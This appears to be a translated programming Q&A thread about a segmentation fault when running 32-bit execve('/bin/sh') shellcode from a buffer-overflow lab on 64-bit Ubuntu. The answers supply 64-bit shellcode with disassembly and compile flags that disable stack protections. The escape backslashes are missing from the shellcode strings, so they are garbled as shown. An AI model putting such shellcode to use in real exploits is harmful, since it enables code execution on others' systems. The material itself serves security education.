C语言 shellcode buffer overflow -SegFault



我正在尝试运行这个外壳代码,但我不断遇到分段错误

/* call_shellcode.c */
/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] =
   "x31xc0" /* Line 1: xorl %eax,%eax */
   "x50" /* Line 2: pushl %eax */
   "x68""//sh" /* Line 3: pushl $0x68732f2f */
   "x68""/bin" /* Line 4: pushl $0x6e69622f */
   "x89xe3" /* Line 5: movl %esp,%ebx */
   "x50" /* Line 6: pushl %eax */
   "x53" /* Line 7: pushl %ebx */
   "x89xe1" /* Line 8: movl %esp,%ecx */
   "x99" /* Line 9: cdq */
   "xb0x0b" /* Line 10: movb $0x0b,%al */
   "xcdx80" /* Line 11: int $0x80 */
   ;
int main(int argc, char **argv)
{
   char buf[sizeof(code)];
   strcpy(buf, code);
   ((void(*)( ))buf)( );
}

我使用以下方法编译它:

 gcc -z execstack -o call_shellcode call_shellcode.c

 gcc -fno-stack-protector -z execstack -o call_shellcode call_shellcode.c

但是我一直遇到分段错误

另外,我正在运行一个64位Linux系统(ubuntu)

您在 x86-64 系统上使用 32 位汇编代码。所以,这是你的问题,你必须为x86-64系统创建你的shellcode。

例如

  400078:   48 31 c0                xor    rax,rax
  40007b:   48 bf 2f 2f 62 69 6e    movabs rdi,0x68732f6e69622f2f
  400082:   2f 73 68 
  400085:   48 31 f6                xor    rsi,rsi
  400088:   56                      push   rsi
  400089:   57                      push   rdi
  40008a:   48 89 e7                mov    rdi,rsp
  40008d:   48 31 d2                xor    rdx,rdx
  400090:   b0 3b                   mov    al,0x3b
  400092:   0f 05                   syscall 

与 32 位程序集的主要区别之一是如何使用系统调用。在此链接中 Linux Syscalls x86-64 您可以看到调用sys_execve所需的寄存器

int execve(const char *filename, char *const argv[], char *const envp[]);

  • 常量字符 *文件名 -> RDI
  • char *const argv[] -> rsi
  • char *const envp[] -> rdx

例如

  #include <stdlib.h>
  #include <stdio.h>
  #include <string.h>
  const char code[] = "x48x31xc0x48xbfx2fx2fx62x69x6ex2fx73x68x48x31xf6x56x57x48x89xe7x48x31xd2xb0x3bx0fx05";
  int main(int argc, char **argv)
  {
       char buf[sizeof(code)];
       strcpy(buf, code);
       ((void(*)( ))buf)( );
  }

编译并测试它。

$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
$ ./shellcode 
$ uname -a
 Linux foobar 4.4.0-97-generic #120-Ubuntu SMP Tue Sep 19 17:28:18 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

>code没有尾随的空字节,因此不能使用 strcpy() 来复制它。使用 memcpy()

memcpy(buf, code, sizeof(code));

正如评论中提到的,您拥有的shellcode适用于32位Linux,但您正在尝试在64位系统上运行它。这可能解释了修复此问题后的错误。

您忘记了在 64 位系统上编译 32 位二进制文件的 -m32 标志。看起来这就是您需要的:

gcc -m32 -z execstack -o call_shellcode call_shellcode.c

为了能够在 64 位系统上编译 32 位二进制文件,您需要可用的 32 位库。在基于 Ubuntu 的系统上,您可以通过以下方式安装它们:

sudo apt-get install gcc-multilib

请参阅:https://www.homeworkforyou.com/static_media/uploadedfiles/bufoverflow.pdf

相关内容

  • 没有找到相关文章

最新更新